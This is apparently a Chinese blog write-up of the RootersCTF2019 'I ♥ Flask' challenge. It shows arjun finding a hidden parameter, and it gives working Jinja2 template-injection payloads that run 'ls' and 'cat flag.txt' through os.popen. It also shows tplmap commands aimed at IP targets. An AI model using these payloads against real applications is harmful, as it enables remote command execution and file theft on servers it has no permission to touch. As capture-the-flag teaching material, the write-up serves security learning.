博客园 首页 私信博主 显示目录 隐藏目录 管理
Live2D

RootersCTF2019 I ♥ Flask

最近也是一直在做ssti方面的题目,我发现了两款比较好用的工具,一个是arjun(用来探测参数),另一个是Tplmap(用来探测ssti漏洞),我们这里以一道题目为例来演示一下

题目

我们拿到题目

分析

题目连一个参数都没,这里我们就用到了arjun这款工具

Arjun:一款http参数扫描器,主要就是爆破url参数的

python3 arjun.py -u http:xxxxxxxxxxx.buuoj.cn/ --get

 

 

 

得到name参数

?name={{3*5}}

 

发现确实存在ssti注入

获取当前目录下文件列表

?name={{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}

直接读flag

?name={{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat flag.txt').read()")}}

 

 

 

还有就是用tplmap工具

Tplmap是一个python工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用SSTI来访问目标文件或操作系统。一些受支持的模板引擎包括PHP(代码评估),Ruby(代码评估),JaveScript(代码评估),Python(代码评估),ERB,Jinja2和Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。

安装

sudo git clone https://github.com/epinna/tplmap.git

tplmap用的是python2,还要安装一些库

sudo pip install -r requirements.txt

然后就是运行

./tplmap.py -u http://69.232.53.238:5050/?name=1

 

 

执行命令

./tplmap.py -u http://63.22.53.13:5050/?name=1 --engine=Jinja

 

posted @ 2020-09-29 16:51  My_Dreams  阅读(558)  评论(0编辑  收藏  举报
(function() { $("pre").addClass("prettyprint"); prettyPrint(); })();